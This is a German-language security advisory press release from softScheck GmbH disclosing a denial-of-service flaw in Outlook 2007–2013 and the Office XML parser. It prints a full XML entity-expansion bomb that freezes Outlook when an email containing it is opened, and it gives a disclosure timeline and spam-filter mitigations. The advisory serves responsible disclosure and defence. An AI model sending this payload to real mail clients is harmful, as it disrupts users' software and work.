Pressemitteilung

Sankt Augustin, 02. April 2014

Denial of Service in Microsoft Outlook 2007–2013

softScheck hat in Microsoft Outlook 2007–2013 eine Denial of Service Sicherheitslücke identifiziert: Ein Angreifer kann mittels einer Text-Email mit speziellem Inhalt den Outlook-Client des Anwenders beim Öffnen der Email zum Einfrieren bringen. Daraufhin ist der Anwender gezwungen, Outlook zu terminieren. In der Standardkonfiguration von Outlook, in der Inhalte von Emails in einem Lesebereich angezeigt werden, stürzt dieses beim Starten erneut ab, da die Email automatisch zum Anzeigen geöffnet wird. In diesem Fall muss Outlook im abgesicherten Modus gestartet und die betreffende Email gelöscht werden. Selbst mit der Sicherheitseinstellung „Standardnachrichten im Nur-Text-Format lesen“ friert Outlook ein.

Details

Die Sicherheitslücke betrifft den XML-Parser von Microsoft Office und damit auch andere Microsoft Office Produkte. Seit Microsoft Office 2007 verwenden alle Office-Produkte auf XML basierende Dateiformate und sind damit in allen Versionen (inklusive Office für Mac) und Patch-Level für diese Lücke anfällig. Der XML-Parser kann mit einer XML-Bombe zum Abarbeiten einer exponentiell wachsenden Aufgabe gezwungen werden, was den Arbeitsspeicher zunehmend füllt und die Anwendung zum Einfrieren bringt. Das Problem ist seit mindestens 2003 bekannt und wurde von Microsoft selbst in 2009 in dem Artikel „XML Denial of Service Attacks and Defenses“ thematisiert.

Das Öffnen einer Text-Email mit folgendem Inhalt bringt Outlook zum Einfrieren:

```
<?xml version="1.0"?>
<!DOCTYPE bomb [
<!ELEMENT bomb (#PCDATA)>
<!ENTITY a "aaaaaaaaaaaaaaaa">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
<!ENTITY j "&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;">
<!ENTITY k "&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;">
<!ENTITY l "&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;">]>
<bomb>&l;</bomb>
```

Darin werden mittels einer XML Dokumenttypdefinition (DTD) mehrere Entitäten definiert, die jeweils rekursiv auf die Vorhergehenden verweisen. Ein XML-Parser ist darauf angewiesen, alle Verweise zu expandieren, was eine exponentiell wachsende Aufgabe ist während der Outlook einfriert. Zwar kehrt nach der Verarbeitung Outlook zu einem lauffähigen Status zurück, doch dies dauert Tage und kann durch Erweitern der XML-Bombe um wenige Zeichen auf Monate hochgeschraubt werden.

Andere Eingabeschnittstellen in Office-Produkten sind ebenfalls betroffen, z.B. das Einfügen einer XML-Bombe durch die Zwischenablage in Microsoft Word.

Auswirkungen

Die Angriffsart ist öffentlich dokumentiert und von unbedarften Angreifern leicht ausnutzbar. Eine aktive Ausnutzung ist derzeit nicht bekannt.

Schutzmaßnahmen

softScheck GmbH hat die Denial of Service Lücke der Microsoft Corporation gemeldet. Microsoft hat die Lücke bestätigt, sieht sie aber nicht als sicherheitsrelevant an und will sie in einem zukünftigen Office-Update beheben. Trotzdem können sich Anwender schützen, in dem sie in ihrem Spam-Filter Emails mit Entitäten in XML-DTDs („<!ENTITY“) herausfiltern. Auch eine in Outlook definierte Email-Regel, die Nachrichten mit diesem Stichwort im Textinhalt löscht, ist eine wirkungsvolle Schutzmaßnahme.

Timeline

26.02.2014 Microsoft Security Response Center informiert

28.02.2014 Computer Emergency Response Team Coordination Center (CERT/CC) informiert

20.03.2014 Microsoft Deutschland informiert

02.04.2014 Veröffentlichung

Über softScheck

Die IT-Sicherheitsberatung softScheck GmbH hat sich in den letzten Jahren mit der Identifizierung von bisher nicht-erkannten Sicherheitslücken in Software (und auch Hardware) neue, attraktive Wachstumsfelder erschlossen.

softScheck führt regelmäßig Sicherheitsprüfungen von Software und Hardware durch. Daneben bietet softScheck selbstverständlich auch die klassische IT-Sicherheitsberatung an vom Grundschutz (ISO 27000-Familie) bis hin zur Hochsicherheit in der Informationsverarbeitung (Redundanz und Diversität) – auch mit Consulting, Coaching und Forensics.

Kontakt

Anja Wallikewitz

Tel.: 02241 – 255 43 – 11
Fax: 02241 – 255 43 – 29
anja.wallikewitz@softScheck.com

softScheck GmbH
Bonner Straße 108
53757 Sankt Augustin
www.softScheck.com